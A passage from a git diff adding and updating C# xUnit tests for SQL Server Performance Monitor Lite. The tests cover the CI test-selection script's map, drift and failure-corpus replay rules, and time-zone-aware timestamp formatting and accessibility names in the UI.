+        Assert.Equal("new class", Why(r)["FreshTests"]);
+    }
+
+    [Fact]
+    public void TextPattern_Hit_SelectsTheClassThatReadsTheFile()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "install/05_x.sql" });
+
+        Assert.False(r.GetProperty("full").GetBoolean());
+        var why = Why(r);
+        Assert.Equal("text pattern", why["TextTests"]);
+        Assert.DoesNotContain("OwnTests", why.Keys);
+    }
+
+    [Fact]
+    public void ClassTheMapNeverSaw_IsSelected_AndGuardClassesStay()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" });
+
+        var why = Why(r);
+        Assert.Equal("new class", why["FreshTests"]);
+        Assert.Equal("new class", why["GateTests"]);
+    }
+
+    [Fact]
+    public void DocumentationOnly_SelectsNoMappedClass_ButIsNotFull()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "README.md" });
+
+        Assert.False(r.GetProperty("full").GetBoolean());
+        var why = Why(r);
+        Assert.DoesNotContain("OwnTests", why.Keys);
+        Assert.DoesNotContain("CoverTests", why.Keys);
+        Assert.DoesNotContain("TextTests", why.Keys);
+    }
+
+    [Theory]
+    [InlineData("Directory.Build.props")]
+    [InlineData(".github/workflows/build.yml")]
+    [InlineData("Lite/Lite.csproj")]
+    [InlineData("global.json")]
+    [InlineData("PerformanceMonitor.Common/Anything.cs")]
+    public void KeepFullFile_InThePullRequest_RunsEverything(string file)
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs", file });
+
+        AssertFull(r, "keep-full");
+    }
+
+    [Fact]
+    public void KeepFullFile_OnlyInTheDrift_GoesThroughTheClassLinks_AndIsNotFull()
+    {
+        // #5459: build.yml changed on dev after the map, and the pull request never touched it. A class that reads it
+        // as text is selected; the rest are not, and the run is not FULL.
+        var map = WriteMap(textPatterns: "\"install/**/*.sql\", \".github/workflows/build.yml\"");
+
+        var (_, r) = MapSelect(map, new[] { "Lite.Tests/Own.cs" }, new[] { ".github/workflows/build.yml" });
+
+        Assert.False(r.GetProperty("full").GetBoolean(), r.ToString());
+        var why = Why(r);
+        Assert.Equal("text pattern", why["TextTests"]);
+        Assert.Equal("own file changed", why["OwnTests"]);
+        Assert.DoesNotContain("CoverTests", why.Keys);
+    }
+
+    [Fact]
+    public void KeepFullFile_InTheDrift_ThatNoClassKnows_IsFullForThatReason_NotAsAKeepFullFile()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" }, new[] { "Directory.Packages.props" });
+
+        AssertFull(r, "Directory.Packages.props is in no class");
+    }
+
+    [Fact]
+    public void KeepFullFile_InBoth_TheDriftAndThePullRequest_IsFullBecauseOfThePullRequest()
+    {
+        var map = WriteMap(textPatterns: "\".github/workflows/build.yml\"");
+
+        var (_, r) = MapSelect(map, new[] { ".github/workflows/build.yml" }, new[] { ".github/workflows/build.yml" });
+
+        AssertFull(r, ".github/workflows/build.yml is a keep-full file");
+    }
+
+    [Fact]
+    public void ANewTestClass_AddedSinceTheMap_AlwaysRuns_EvenWhenOnlyDriftBroughtIt()
+    {
+        // The drift holds the new test file; the pull request's own change is unrelated. The class is not in the map
+        // and the tree has it, so it runs as a "new class" and nothing else about the run is FULL.
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" }, new[] { "Lite.Tests/Fresh.cs" });
+
+        Assert.False(r.GetProperty("full").GetBoolean(), r.ToString());
+        Assert.Equal("new class", Why(r)["FreshTests"]);
+    }
+
+    [Fact]
+    public void ATreeScan_ThatFindsNoClass_RunsEverything_SoNoNewClassIsLeftOutSilently()
+    {
+        var empty = Path.Combine(_dir, "empty-tree");
+        Directory.CreateDirectory(empty);
+
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" }, root: empty);
+
+        AssertFull(r, "no test class was found in the tree for suite lite");
+    }
+
+    [Fact]
+    public void UnknownNonCsFile_RunsEverything()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs", "somewhere/new-fixture.dat" });
+
+        AssertFull(r, "somewhere/new-fixture.dat");
+    }
+
+    [Fact]
+    public void MissingMap_RunsEverything()
+    {
+        var (_, r) = MapSelect(Path.Combine(_dir, "no-such-map.json"), new[] { "Lite.Tests/Own.cs" });
+
+        AssertFull(r, "no test map");
+    }
+
+    [Fact]
+    public void UnreadableMap_RunsEverything()
+    {
+        var bad = Path.Combine(_dir, "bad.json");
+        File.WriteAllText(bad, "{ not json");
+
+        var (_, r) = MapSelect(bad, new[] { "Lite.Tests/Own.cs" });
+
+        AssertFull(r, "no test map");
+    }
+
+    [Fact]
+    public void WrongSchema_RunsEverything()
+    {
+        var (_, r) = MapSelect(WriteMap(schema: 2), new[] { "Lite.Tests/Own.cs" });
+
+        AssertFull(r, "schema");
+    }
+
+    [Fact]
+    public void MapOlderThanAWeek_RunsEverything()
+    {
+        var old = DateTime.UtcNow.AddDays(-8).ToString("o");
+
+        var (_, r) = MapSelect(WriteMap(builtAt: old), new[] { "Lite.Tests/Own.cs" });
+
+        AssertFull(r, "older than");
+    }
+
+    [Fact]
+    public void DriftOverThreeHundredFiles_RunsEverything()
+    {
+        var drift = Enumerable.Range(0, 301).Select(i => $"Lite/Drift/F{i}.cs").ToArray();
+
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" }, drift);
+
+        AssertFull(r, "301 files changed since the map");
+    }
+
+    [Theory]
+    [InlineData("push")]
+    [InlineData("merge_group")]
+    [InlineData("release")]
+    public void NonPullRequestEvent_StaysFull(string eventName)
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" }, eventName: eventName);
+
+        AssertFull(r, "always runs everything");
+    }
+
+    [Fact]
+    public void PullRequestIntoMain_IsFull_WhereTheSameOneIntoDevIsNarrowed()
+    {
+        // #5459: a good fresh map, zero drift and a one-file diff the map knows. Into dev it narrows; into main (the
+        // release gate) it always runs everything.
+        var map = WriteMap();
+        var files = new[] { "Lite.Tests/Own.cs" };
+
+        var (_, intoMain) = MapSelect(map, files, baseRef: "main");
+        AssertFull(intoMain, "a pull request into main always runs everything");
+        Assert.Equal("a pull request into main always runs everything", intoMain.GetProperty("reason").GetString());
+
+        var (_, intoDev) = MapSelect(map, files, baseRef: "dev");
+        Assert.False(intoDev.GetProperty("full").GetBoolean(), "a pull request into dev must still narrow:\n" + intoDev);
+        Assert.Equal("own file changed", Why(intoDev)["OwnTests"]);
+
+        // No base branch at all (the replay corpus has none) narrows as before.
+        var (_, noBase) = MapSelect(map, files);
+        Assert.False(noBase.GetProperty("full").GetBoolean(), "an absent base branch keeps today's behaviour:\n" + noBase);
+    }
+
+    [Fact]
+    public void AClassGatedOnAnEnvironmentTheMapShardsLack_IsAlwaysSelected_ForAnUnrelatedChange()
+    {
+        // #5459: the map shards set only DARLING_TEST_PG and DARLING_TEST_PGRUNTIME, so a class gated on any other
+        // DARLING_TEST_PG_* / DARLING_TEST_PGRUNTIME_* variable skips at map build and the map has no coverage edge for what
+        // its tests would run. The tree scan finds those classes from the source, so a change to code under one still runs it.
+        var tree = Path.Combine(_dir, "gated-tree");
+        var tests = Path.Combine(tree, "Lite.Tests");
+        Directory.CreateDirectory(tests);
+        File.WriteAllText(Path.Combine(tests, "Gated.cs"),
+            "public class GatedTests { string? T => Environment.GetEnvironmentVariable(\"DARLING_TEST_PG_CSVLOG\"); }\n");
+        File.WriteAllText(Path.Combine(tests, "Plain.cs"),
+            "public class PlainTests { string? T => Environment.GetEnvironmentVariable(\"DARLING_TEST_PG\"); }\n");
+        File.WriteAllText(Path.Combine(tests, "Runtime.cs"),
+            "public class RuntimeTests { string? T => Environment.GetEnvironmentVariable(\"DARLING_TEST_PGRUNTIME\"); }\n");
+        File.WriteAllText(Path.Combine(tests, "Upgrade.cs"),
+            "public class UpgradeTests { string? T => Environment.GetEnvironmentVariable(\"DARLING_TEST_PGRUNTIME_OLD\"); }\n");
+        File.WriteAllText(Path.Combine(tests, "Comment.cs"),
+            "/// <c>DARLING_TEST_PG_CSVLOG</c> in a comment only\npublic class CommentTests { }\n");
+        var map = Path.Combine(_dir, "gated-map.json");
+        File.WriteAllText(map, """
+            {"schema": 1, "sha": "0000000", "built_at": "@BUILT@", "tool": "synthetic",
+             "files": ["Lite/Services/A.cs", "Lite/Services/B.cs", "Lite.Tests/Gated.cs", "Lite.Tests/Plain.cs",
+                       "Lite.Tests/Runtime.cs", "Lite.Tests/Upgrade.cs", "Lite.Tests/Comment.cs"],
+             "classes": {"lite": {
+                "GatedTests":   {"own": 2, "files": [0], "seconds": 0.01},
+                "PlainTests":   {"own": 3, "files": [0], "seconds": 1.0},
+                "RuntimeTests": {"own": 4, "files": [0], "seconds": 1.0},
+                "UpgradeTests": {"own": 5, "files": [0], "seconds": 1.0},
+                "CommentTests": {"own": 6, "files": [0], "seconds": 1.0}}},
+             "text_patterns": {}}
+            """.Replace("@BUILT@", DateTime.UtcNow.ToString("o"), StringComparison.Ordinal));
+
+        // B.cs is in the map's universe but covered by no class: no class would be selected from the map alone.
+        var (_, r) = MapSelect(map, new[] { "Lite/Services/B.cs" }, root: tree);
+
+        Assert.False(r.GetProperty("full").GetBoolean(), r.ToString());
+        var why = Why(r);
+        Assert.Equal(["GatedTests", "UpgradeTests"], why.Keys.OrderBy(k => k, StringComparer.Ordinal));
+        Assert.Equal("gated on an environment the map shards lack", why["GatedTests"]);
+    }
+
+    [Fact]
+    public void TheMapShardsEnvironment_AndTheGateRule_CannotDriftApart()
+    {
+        // ci-select.py's MAP_SHARD_ENV must be exactly what nightly.yml's map shards set, and every DARLING_TEST_* variable
+        // either workflow sets must be a map-shard variable or one the gate rule finds in the source (the PG_ and PGRUNTIME_
+        // families). A new CI-set gate variable outside both fails here instead of silently never selecting its class.
+        var root = ParitySource.RepoRoot();
+        var script = File.ReadAllText(Path.Combine(root, ".github", "scripts", "ci-select.py"));
+        var declared = System.Text.RegularExpressions.Regex.Match(script, "MAP_SHARD_ENV = frozenset\\(\\{([^}]*)\\}\\)");
+        Assert.True(declared.Success, "ci-select.py no longer declares MAP_SHARD_ENV");
+        var mapEnv = System.Text.RegularExpressions.Regex.Matches(declared.Groups[1].Value, "\"(DARLING_TEST_\\w+)\"")
+            .Select(m => m.Groups[1].Value).OrderBy(v => v, StringComparer.Ordinal).ToList();
+
+        var nightly = File.ReadAllLines(Path.Combine(root, ".github", "workflows", "nightly.yml"));
+        var step = Array.FindIndex(nightly, l => l.Contains("- name: Run this shard's classes (instrumented", StringComparison.Ordinal));
+        Assert.True(step >= 0, "nightly.yml no longer has the map shards' run step");
+        var stepKeys = new List<string>();
+        foreach (var line in nightly.Skip(step + 1))
+        {
+            if (line.TrimStart().StartsWith("- name:", StringComparison.Ordinal))
+            {
+                break;
+            }
+
+            var key = System.Text.RegularExpressions.Regex.Match(line, "^\\s+(DARLING_TEST_\\w+):");
+            if (key.Success)
+            {
+                stepKeys.Add(key.Groups[1].Value);
+            }
+        }
+
+        Assert.Equal(mapEnv, stepKeys.Distinct().OrderBy(v => v, StringComparer.Ordinal));
+
+        var gateShape = new System.Text.RegularExpressions.Regex("^DARLING_TEST_PG(RUNTIME)?_[A-Z0-9_]+$");
+        foreach (var wf in new[] { "build.yml", "nightly.yml" })
+        {
+            foreach (var line in File.ReadAllLines(Path.Combine(root, ".github", "workflows", wf)))
+            {
+                var key = System.Text.RegularExpressions.Regex.Match(line, "^\\s+(DARLING_TEST_\\w+):");
+                if (key.Success)
+                {
+                    var name = key.Groups[1].Value;
+                    Assert.True(mapEnv.Contains(name) || gateShape.IsMatch(name),
+                        wf + " sets " + name + ", which is neither a map-shard variable nor one ci-select.py's GATE_ENV_LITERAL finds");
+                }
+            }
+        }
+    }
+}
diff --git a/Lite.Tests/CiSelectReplayGuardTests.cs b/Lite.Tests/CiSelectReplayGuardTests.cs
new file mode 100644
index 0000000000..a9c0e47b16
--- /dev/null
+++ b/Lite.Tests/CiSelectReplayGuardTests.cs
@@ -0,0 +1,141 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Replays the CI failure corpus against the test-selection rules (#5459).
+///
+/// <para><b>Why.</b> .github/scripts/ci-select.py is the one place the rules for "which test jobs run for these
+/// changed files" are kept. .github/ci-history/failures.jsonl holds every run in a month that failed a real test,
+/// with its changed files and failing classes. A change to the rules is safe only while each of those failing
+/// classes would still have been selected for its run's changed files (a class that is gone from the tree is
+/// exempt); the script's <c>--replay</c> checks exactly that and exits non-zero on a miss. This class runs it on
+/// every pull request, in the Guard stage, so a cut that stops selecting a class that has failed before is red
+/// before the shards start.</para>
+///
+/// <para>The few rows the rules miss for a reason that is not a selection gap are listed with the reason in
+/// .github/ci-history/replay-accepted.txt; a miss that is not listed there fails this test.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Darling")]
+public sealed class CiSelectReplayGuardTests
+{
+    private static string Script() => Path.Combine(ParitySource.RepoRoot(), ".github", "scripts", "ci-select.py");
+
+    private static (int ExitCode, string Output) RunScript(params string[] args)
+    {
+        var psi = new ProcessStartInfo("python")
+        {
+            WorkingDirectory = ParitySource.RepoRoot(),
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("-I");
+        psi.ArgumentList.Add(Script());
+        foreach (var a in args)
+        {
+            psi.ArgumentList.Add(a);
+        }
+
+        using var p = Process.Start(psi) ?? throw new InvalidOperationException("python did not start");
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        Assert.True(p.WaitForExit(120_000), "ci-select.py did not finish in two minutes");
+        return (p.ExitCode, stdout.Result + stderr.Result);
+    }
+
+    [Fact]
+    public void TheFailureCorpus_ReplaysAgainstTodaysRules_WithNoMiss()
+    {
+        var (code, output) = RunScript("--replay");
+
+        var summary = Regex.Match(output, @"replay: (\d+) rows, (\d+) failing classes checked");
+        Assert.True(summary.Success, "ci-select.py --replay printed no summary:\n" + output);
+        Assert.True(int.Parse(summary.Groups[1].Value) >= 700, "the replay read too few corpus rows:\n" + output);
+        Assert.True(int.Parse(summary.Groups[2].Value) >= 1500, "the replay checked too few failing classes:\n" + output);
+        Assert.True(code == 0, "A failing class would not be selected for its run's changed files under the current rules. "
+            + "Narrow the cut, or list the row in .github/ci-history/replay-accepted.txt with the reason it is not a selection gap:\n" + output);
+    }
+
+    /// <summary>
+    /// A nested test class is reported as <c>Ns.Outer+Inner</c> (some runners write <c>Ns.Outer/Inner</c>). The replay
+    /// used to split the name at its last '.', so the "simple name" was <c>Outer+Inner</c>, found no class in the
+    /// tree and skipped the failure: a nested class could never be counted as a miss (#5459). It must take the
+    /// innermost name, and look the namespace up from the text before the first '+'. The corpus here is one row whose
+    /// failures name a real class (this one) behind a nested path; the third failure sits in a namespace no suite owns
+    /// and must still be skipped.
+    /// </summary>
+    [Fact]
+    public void ANestedClassFailure_IsCheckedByItsInnermostName_NotSkipped()
+    {
+        var dir = Path.Combine(Path.GetTempPath(), "ci-replay-nested-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(dir);
+        try
+        {
+            var corpus = Path.Combine(dir, "failures.jsonl");
+            File.WriteAllText(corpus,
+                "{\"date\":\"2026-10-01\",\"head_sha\":\"0123456789abcdef\",\"event\":\"pull_request\","
+                + "\"changed_files\":[\"Lite.Tests/CiSelectReplayGuardTests.cs\"],\"failed_classes\":["
+                + "\"Lite.Tests.SomeOuter+CiSelectReplayGuardTests\","
+                + "\"Lite.Tests.SomeOuter/CiSelectReplayGuardTests\","
+                + "\"Elsewhere.Ns.SomeOuter+CiSelectReplayGuardTests\"]}\n");
+
+            var (_, output) = RunScript("--replay", "--corpus", corpus);
+
+            var summary = Regex.Match(output, @"replay: (\d+) rows, (\d+) failing classes checked, (\d+) exempt");
+            Assert.True(summary.Success, "ci-select.py --replay printed no summary:\n" + output);
+            Assert.Equal("2", summary.Groups[2].Value);
+            Assert.Equal("0", summary.Groups[3].Value);
+        }
+        finally
+        {
+            Directory.Delete(dir, recursive: true);
+        }
+    }
+
+    [Fact]
+    public void TheDecisions_ForKnownChanges_AreWhatTheWorkflowDocuments()
+    {
+        var (docsCode, docs) = RunScript("decide", "--event", "pull_request", "README.md");
+        Assert.Equal(0, docsCode);
+        Assert.Contains("\"docs_fastpath\": true", docs, StringComparison.Ordinal);
+        Assert.Contains("\"guard_run\": false", docs, StringComparison.Ordinal);
+
+        var (darlingCode, darling) = RunScript("decide", "--event", "pull_request", "Darling/Darling.Tests/CiSelectProbeTests.cs");
+        Assert.Equal(0, darlingCode);
+        Assert.Contains("\"darling_pg\": true", darling, StringComparison.Ordinal);
+        Assert.Contains("\"lite_mode\": \"reads\"", darling, StringComparison.Ordinal);
+
+        var (liteCode, lite) = RunScript("decide", "--event", "pull_request", "Lite/Services/ProbeService.cs");
+        Assert.Equal(0, liteCode);
+        Assert.Contains("\"lite_mode\": \"full\"", lite, StringComparison.Ordinal);
+        Assert.Contains("\"darling_pg\": false", lite, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCorpus_StaysUnderOneMegabyte_AndCarriesNoRunOrHostIdentifiers()
+    {
+        var path = Path.Combine(ParitySource.RepoRoot(), ".github", "ci-history", "failures.jsonl");
+        Assert.True(new FileInfo(path).Length < 1_000_000, "the committed corpus grew past 1 MB; trim it");
+
+        foreach (var line in File.ReadLines(path))
+        {
+            Assert.DoesNotContain("\"run_id\"", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("\"run_attempt\"", line, StringComparison.Ordinal);
+            break;
+        }
+    }
+}
diff --git a/Lite.Tests/ClickThroughUiTextTests.cs b/Lite.Tests/ClickThroughUiTextTests.cs
new file mode 100644
index 0000000000..7166f7f018
--- /dev/null
+++ b/Lite.Tests/ClickThroughUiTextTests.cs
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Release click-through findings on how Lite words things: the Overview card's Last Collect follows the
+/// "Show timestamps in" setting on the server's own clock (as Alert History and Job History do) and shows its date
+/// when it is not from today, and the sidebar rows carry an accessible name instead of a type name.
+///
+/// <para>US Eastern is the test zone, five hours behind UTC in January. The Overview card used to convert on the
+/// ACTIVE server's clock (whatever tab was open, else this machine's) in every mode, so a Pacific server's card sat
+/// three hours away from its own alert and job rows, and a collection from nine days ago read as a time of day.</para>
+/// </summary>
+/* Sets ServerTimeHelper.ActiveServerClock and CurrentDisplayMode, process-wide mutable statics, so it joins the
+   collection every other class that writes them uses; both are restored in Dispose. */
+[Collection("server-time-helper")]
+public sealed class ClickThroughUiTextTests : IDisposable
+{
+    private readonly ServerClock _savedClock = ServerTimeHelper.ActiveServerClock;
+    private readonly TimeDisplayMode _savedMode = ServerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose()
+    {
+        ServerTimeHelper.ActiveServerClock = _savedClock;
+        ServerTimeHelper.CurrentDisplayMode = _savedMode;
+    }
+
+    private static DateTime Utc(int y, int mo, int d, int h, int mi, int s = 0) =>
+        new(y, mo, d, h, mi, s, DateTimeKind.Unspecified);
+
+    /* The time-of-day clock the card's own server uses: -08:00 (Pacific standard), a fixed offset. */
+    private static readonly ServerClock Pacific = ServerClock.FixedOffset(-480);
+
+    [Fact]
+    public void LastCollect_ServerMode_ConvertsOnTheCardsOwnServerClock_NotTheActiveOne()
+    {
+        ServerTimeHelper.ActiveServerClock = ServerClock.FixedOffset(600);
+        var now = Utc(2026, 1, 15, 21, 0);
+
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 1, 15, 20, 30, 15), TimeDisplayMode.ServerTime, Pacific, now);
+
+        Assert.Equal("12:30:15", text);
+    }
+
+    [Fact]
+    public void LastCollect_UtcMode_ShowsUtc()
+    {
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 1, 15, 20, 30, 15), TimeDisplayMode.UTC, Pacific, Utc(2026, 1, 15, 21, 0));
+
+        Assert.Equal("20:30:15", text);
+    }
+
+    [Fact]
+    public void LastCollect_LocalMode_ShowsThisMachinesZone()
+    {
+        var utc = Utc(2026, 1, 15, 20, 30, 15);
+        var now = Utc(2026, 1, 15, 21, 0);
+        var expected = TimeZoneInfo.ConvertTimeFromUtc(utc, TimeZoneInfo.Local);
+        var sameDay = expected.Date == TimeZoneInfo.ConvertTimeFromUtc(now, TimeZoneInfo.Local).Date;
+
+        var text = ServerSummaryItem.FormatLastCollect(utc, TimeDisplayMode.LocalTime, Pacific, now);
+
+        Assert.StartsWith(sameDay ? expected.ToString("HH:mm:ss") : expected.ToString("yyyy-MM-dd HH:mm:ss"), text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void LastCollect_FromAnEarlierDay_ShowsItsDate()
+    {
+        /* LITE/01-start.png: five cards at launch read "19:25:47 (stopped)" for a collection nine days old. */
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 1, 6, 20, 30, 15), TimeDisplayMode.ServerTime, Pacific, Utc(2026, 1, 15, 21, 0));
+
+        Assert.Equal("2026-01-06 12:30:15", text);
+    }
+
+    [Fact]
+    public void LastCollect_TodayIsJudgedInTheDisplayZone_NotInUtc()
+    {
+        /* 2026-01-16 03:00 UTC is still 2026-01-15 19:00 in Pacific; a collection at 02:00 UTC is 18:00 on the same
+           Pacific day, so it is today there even though UTC has already turned over. */
+        var now = Utc(2026, 1, 16, 3, 0);
+        var collected = Utc(2026, 1, 16, 2, 0);
+
+        Assert.Equal("18:00:00", ServerSummaryItem.FormatLastCollect(collected, TimeDisplayMode.ServerTime, Pacific, now));
+        Assert.Equal("2026-01-16 02:00:00", ServerSummaryItem.FormatLastCollect(collected, TimeDisplayMode.UTC, Pacific, Utc(2026, 1, 17, 3, 0)));
+    }
+
+    [Fact]
+    public void LastCollectionDisplay_UsesTheCardsClockAndTheDateRule()
+    {
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+        var card = new ServerSummaryItem
+        {
+            DisplayName = "sql-01",
+            ServerId = 1,
+            Clock = Pacific,
+            LastCollectionTime = Utc(2026, 1, 6, 20, 30, 15),
+        };
+
+        /* A collection from long before today carries its date; the card's own clock puts it on 06 Jan 12:30. */
+        Assert.StartsWith("2026-01-06 12:30:15", card.LastCollectionDisplay, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SidebarRows_CarryTheServerOrGroupNameAsTheirAccessibleName()
+    {
+        var server = new FleetServerRow(new FleetServer(7, "example-sql-01", false, null), depth: 1);
+        var header = new FleetHeaderRow(FleetGroupKind.Untagged, "Untagged", depth: 0, serverCount: 1, hasChildren: true, isExpanded: true);
+
+        Assert.Equal("example-sql-01", server.AutomationName);
+        Assert.Equal("Untagged", header.AutomationName);
+    }
+
+    [Fact]
+    public void ListMarkup_NamesItsRowsCardsAndComboItemsForScreenReaders()
+    {
+        var main = File.ReadAllText(FindRepoFile(@"Lite\MainWindow.xaml"));
+        var finOps = File.ReadAllText(FindRepoFile(@"Lite\Controls\FinOpsTab.xaml"));
+
+        Assert.Contains("AutomationProperties.Name\" Value=\"{Binding AutomationName", main, StringComparison.Ordinal);
+        Assert.Contains("AutomationProperties.Name=\"{Binding DisplayName}\"", main, StringComparison.Ordinal);
+        Assert.Contains("AutomationProperties.Name\" Value=\"{Binding DisplayNameWithIntent", finOps, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DatabaseSizesTitle_NamesTheSelectedServer_NotAllServers()
+    {
+        var finOps = File.ReadAllText(FindRepoFile(@"Lite\Controls\FinOpsTab.xaml"));
+
+        Assert.DoesNotContain("Database Sizes (All Servers)", finOps, StringComparison.Ordinal);
+        Assert.Contains("Database Sizes ({0})", finOps, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SettingsWindow_CapsItsHeightToTheWorkArea_AndHasNoDeadPoisonWaitField()
+    {
+        var code = File.ReadAllText(FindRepoFile(@"Lite\Windows\SettingsWindow.xaml.cs"));
+        var markup = File.ReadAllText(FindRepoFile(@"Lite\Windows\SettingsWindow.xaml"));
+
+        Assert.Contains("SourceInitialized += (_, _) => WindowWorkArea.Clamp(this);", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("legacy avg-ms bar", markup, StringComparison.Ordinal);
+        Assert.DoesNotContain("AlertPoisonWaitThresholdBox", markup + code, StringComparison.Ordinal);
+    }
+
+    private static string FindRepoFile(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        for (var i = 0; i < 8 && dir is not null; i++)
+        {
+            var candidate = Path.Combine(dir, relativePath);
+            if (File.Exists(candidate))
+            {
+                return candidate;
+            }
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        throw new FileNotFoundException($"Could not locate {relativePath} walking up from {AppContext.BaseDirectory}");
+    }
+}
diff --git a/Lite.Tests/CollectionCaveatsTests.cs b/Lite.Tests/CollectionCaveatsTests.cs
index 99fb8938d0..b02bd24859 100644
--- a/Lite.Tests/CollectionCaveatsTests.cs
+++ b/Lite.Tests/CollectionCaveatsTests.cs
@@ -66,6 +66,8 @@ public CollectionCaveatsTests()
 
     public void Dispose()
     {
+        _seedConn?.Dispose();
+        _duckDb?.Dispose();
         try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
         catch { /* best-effort cleanup */ }
     }
@@ -213,7 +215,7 @@ public async Task AnAllClearOverAFailedFamily_SaysSo_AndACleanOneDoesNot()
     private async Task<DuckDbInitializer> InitializeAsync()
     {
         _duckDb = new DuckDbInitializer(_dbPath);
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         return _duckDb;
     }
 
diff --git a/Lite.Tests/CollectionHealthDisplayZoneTests.cs b/Lite.Tests/CollectionHealthDisplayZoneTests.cs
index cfaaae09aa..98b0b0b7b7 100644
--- a/Lite.Tests/CollectionHealthDisplayZoneTests.cs
+++ b/Lite.Tests/CollectionHealthDisplayZoneTests.cs
@@ -44,7 +44,7 @@ public sealed class CollectionHealthDisplayZoneTests : IDisposable
 
     public CollectionHealthDisplayZoneTests()
     {
-        /* "g" runs on the current culture, as every grid's time does; the invariant one fixes its pattern (MM/dd/yyyy HH:mm). */
+        /* The times are culture-independent (yyyy-MM-dd HH:mm:ss, like every other grid), so this fixture's culture does not matter; the test below proves it. */
         CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
     }
 
@@ -90,14 +90,14 @@ public void ServerMode_ARowReadsItsOwnServersWallTime_NotTheActiveTabsOrThisMach
         var instant = Utc(2026, 7, 1, 14, 30);
 
         var health = Health(instant, Eastern());
-        Assert.Equal("07/01/2026 10:30", health.LastSuccessFormatted);
-        Assert.Equal("07/01/2026 10:30", health.LastRunFormatted);
-        Assert.Equal("07/01/2026 10:30", health.LastErrorFormatted);
-        Assert.Equal("07/01/2026 10:30", Log(instant, Eastern()).CollectionTimeFormatted);
+        Assert.Equal("2026-07-01 10:30:00", health.LastSuccessFormatted);
+        Assert.Equal("2026-07-01 10:30:00", health.LastRunFormatted);
+        Assert.Equal("2026-07-01 10:30:00", health.LastErrorFormatted);
+        Assert.Equal("2026-07-01 10:30:00", Log(instant, Eastern()).CollectionTimeFormatted);
 
         ServerTimeHelper.ActiveServerClock = Eastern();
-        Assert.Equal("07/01/2026 20:00", Health(instant, India()).LastSuccessFormatted);
-        Assert.Equal("07/01/2026 20:00", Log(instant, India()).CollectionTimeFormatted);
+        Assert.Equal("2026-07-01 20:00:00", Health(instant, India()).LastSuccessFormatted);
+        Assert.Equal("2026-07-01 20:00:00", Log(instant, India()).CollectionTimeFormatted);
     }
 
     /// <summary>
@@ -113,18 +113,36 @@ public void InTheRepeatedHour_EachOccurrenceCarriesItsOffsetInServerMode_AndUtcM
         var after = Health(Utc(2026, 11, 1, 7, 30), Eastern());
 
         ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
-        Assert.Equal("11/01/2026 01:30 -04:00", first.LastSuccessFormatted);
-        Assert.Equal("11/01/2026 01:30 -05:00", second.LastSuccessFormatted);
-        Assert.Equal("11/01/2026 01:30 -05:00", second.LastRunFormatted);
-        Assert.Equal("11/01/2026 01:30 -05:00", second.LastErrorFormatted);
-        Assert.Equal("11/01/2026 02:30", after.LastSuccessFormatted);
-        Assert.Equal("11/01/2026 01:30 -04:00", Log(Utc(2026, 11, 1, 5, 30), Eastern()).CollectionTimeFormatted);
-        Assert.Equal("11/01/2026 01:30 -05:00", Log(Utc(2026, 11, 1, 6, 30), Eastern()).CollectionTimeFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -04:00", first.LastSuccessFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", second.LastSuccessFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", second.LastRunFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", second.LastErrorFormatted);
+        Assert.Equal("2026-11-01 02:30:00", after.LastSuccessFormatted);
